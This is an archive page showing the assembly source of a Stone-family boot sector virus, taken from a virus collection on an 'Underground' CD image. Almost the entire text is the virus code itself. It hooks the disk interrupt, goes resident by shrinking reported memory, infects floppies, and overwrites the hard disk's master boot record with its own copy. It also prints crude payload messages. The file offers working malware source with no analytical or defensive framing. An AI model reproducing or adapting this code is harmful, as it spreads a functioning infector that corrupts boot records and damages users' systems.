Underground

home *** CD-ROM | disk | FTP | other *** search

/ Underground / Underground CD1.iso / virii / zrodla / s / stnd.asm < prev next >

Wrap

Assembly Source File | 1998-01-14 | 5.7 KB | 248 lines

PAGE 59,132 ;██████████████████████████████████████████████████████████████████████████ ;██ ██ ;██ STONE ██ ;██ ██ ;██ Created: 1-Jan-80 ██ ;██ Passes: 5 Analysis Options on: none ██ ;██ ██ ;██████████████████████████████████████████████████████████████████████████ d_0000_004C_e equ 4Ch d_0000_004E_e equ 4Eh main_ram_size_ equ 413h timer_low_ equ 46Ch d_0000_7C00_e equ 7C00h ;* d_0000_7C0A_e equ 7C0Ah ;* d_0000_7C0C_e equ 7C0Ch ;* d_0000_7C10_e equ 7C10h ;* data_0000_e equ 0 data_0008_e equ 8 data_0009_e equ 9 data_000A_e equ 0Ah data_000E_e equ 0Eh data_0012_e equ 12h data_03E0_e equ 3E0h ;* seg_a segment byte public assume cs:seg_a, ds:seg_a org 100h stone proc far start: ;* jmp far ptr l_07C0_0005 ;* db 0EAh, 05h, 00h,0C0h, 07h jmp loc_01C1 db 00h, 00h, 00h, 00h, 00h, 00h db 04h, 01h, 00h, 00h, 00h, 7Ch db 00h, 00h, 1Eh, 50h, 80h,0FCh db 02h, 72h, 18h, 80h,0FCh, 04h db 73h, 13h, 80h,0FAh, 00h, 75h db 0Eh, 33h,0C0h, 8Eh,0D8h,0A0h db 40h, 04h, 0Ah,0C0h, 75h, 03h db 0E8h, 07h, 00h db 58h, 1Fh, 2Eh,0FFh, 2Eh, 0Ah db 00h db 53h, 51h, 52h, 06h, 56h, 57h db 0BEh, 04h, 00h loc_0145: mov ax,201h push cs pop es mov bx,200h mov cx,1 xor dx,dx ; Zero register pushf ; Push flags call dword ptr cs:data_000A_e jnc loc_0168 ; Jump if carry=0 xor ax,ax ; Zero register pushf ; Push flags call dword ptr cs:data_000A_e dec si jnz loc_0145 ; Jump if not zero jmp short loc_01A5 db 90h loc_0168: xor si,si ; Zero register mov di,200h mov ax,es:[si] cmp ax,es:[di] jne loc_0182 ; Jump if not equal mov ax,es:[si+2] cmp ax,es:[di+2] jne loc_0182 ; Jump if not equal jmp short loc_01A5 db 90h loc_0182: mov ax,301h mov bx,200h mov cx,3 mov dx,100h pushf ; Push flags call dword ptr cs:data_000A_e jc loc_01A5 ; Jump if carry Set mov ax,301h xor bx,bx ; Zero register mov cl,1 xor dx,dx ; Zero register pushf ; Push flags call dword ptr cs:data_000A_e loc_01A5: pop di pop si pop es pop dx pop cx pop bx retn stone endp ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ ; SUBROUTINE ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ sub_01AC proc near loc_01AC: mov al,cs:[bx] inc bx cmp al,0 jne loc_01B5 ; Jump if not equal retn loc_01B5: push ax push bx mov ah,0Eh mov bh,0 int 10h ; Video display ah=functn 0Eh ; write char al, teletype mode pop bx pop ax jmp short loc_01AC sub_01AC endp loc_01C1: xor ax,ax ; Zero register mov ds,ax cli ; Disable interrupts mov ss,ax mov sp,7C00h sti ; Enable interrupts mov ax,ds:d_0000_004C_e mov ds:d_0000_7C0A_e,ax mov ax,ds:d_0000_004E_e mov ds:d_0000_7C0C_e,ax mov ax,ds:main_ram_size_ dec ax dec ax mov ds:main_ram_size_,ax mov cl,6 shl ax,cl ; Shift w/zeros fill mov es,ax mov ds:d_0000_7C10_e,ax mov ax,16h mov ds:d_0000_004C_e,ax mov ds:d_0000_004E_e,es mov cx,1E0h push cs pop ds xor si,si ; Zero register mov di,si cld ; Clear direction rep movsb ; Rep when cx >0 Mov [si] to es:[di] jmp dword ptr cs:data_000E_e mov ax,0 int 13h ; Disk dl=drive a ah=func 00h ; reset disk, al=return status xor ax,ax ; Zero register mov es,ax mov ax,201h mov bx,d_0000_7C00_e cmp byte ptr cs:data_0008_e,0 je loc_0226 ; Jump if equal mov cx,2 mov dx,80h int 13h ; Disk dl=drive 0 ah=func 02h ; read sectors to memory es:bx ; al=#,ch=cyl,cl=sectr,dh=head jmp short loc_0266 db 90h loc_0226: mov cx,3 mov dx,100h int 13h ; Disk dl=drive a ah=func 02h ; read sectors to memory es:bx ; al=#,ch=cyl,cl=sectr,dh=head jc loc_0266 ; Jump if carry Set test byte ptr es:timer_low_,7 jnz loc_023E ; Jump if not zero mov bx,1B2h call sub_01AC loc_023E: push cs pop es mov ax,201h mov bx,200h mov cx,1 mov dx,80h int 13h ; Disk dl=drive 0 ah=func 02h ; read sectors to memory es:bx ; al=#,ch=cyl,cl=sectr,dh=head jc loc_0266 ; Jump if carry Set push cs pop ds mov si,200h mov di,data_0000_e mov ax,[si] cmp ax,[di] jne loc_0277 ; Jump if not equal mov ax,[si+2] cmp ax,[di+2] jne loc_0277 ; Jump if not equal loc_0266: mov byte ptr cs:data_0008_e,0 mov byte ptr cs:data_0009_e,0 jmp dword ptr cs:data_0012_e loc_0277: mov byte ptr cs:data_0008_e,2 mov byte ptr cs:data_0009_e,0 mov ax,301h mov bx,200h mov cx,2 mov dx,80h int 13h ; Disk dl=drive 0 ah=func 03h ; write sectors from mem es:bx ; al=#,ch=cyl,cl=sectr,dh=head jc loc_0266 ; Jump if carry Set push cs pop ds push cs pop es mov si,data_03E0_e mov di,1E0h mov cx,0FDE0h rep movsb ; Rep when cx >0 Mov [si] to es:[di] mov ax,301h mov bx,data_0000_e mov cx,1 mov dx,80h int 13h ; Disk dl=drive 0 ah=func 03h ; write sectors from mem es:bx ; al=#,ch=cyl,cl=sectr,dh=head jmp short loc_0266 db 7 db 'I am Andrew Dice Clay!' db 07h, 0Dh, 0Ah, 0Ah, 00h db 'So, BLOW ME....Hey!' seg_a ends end start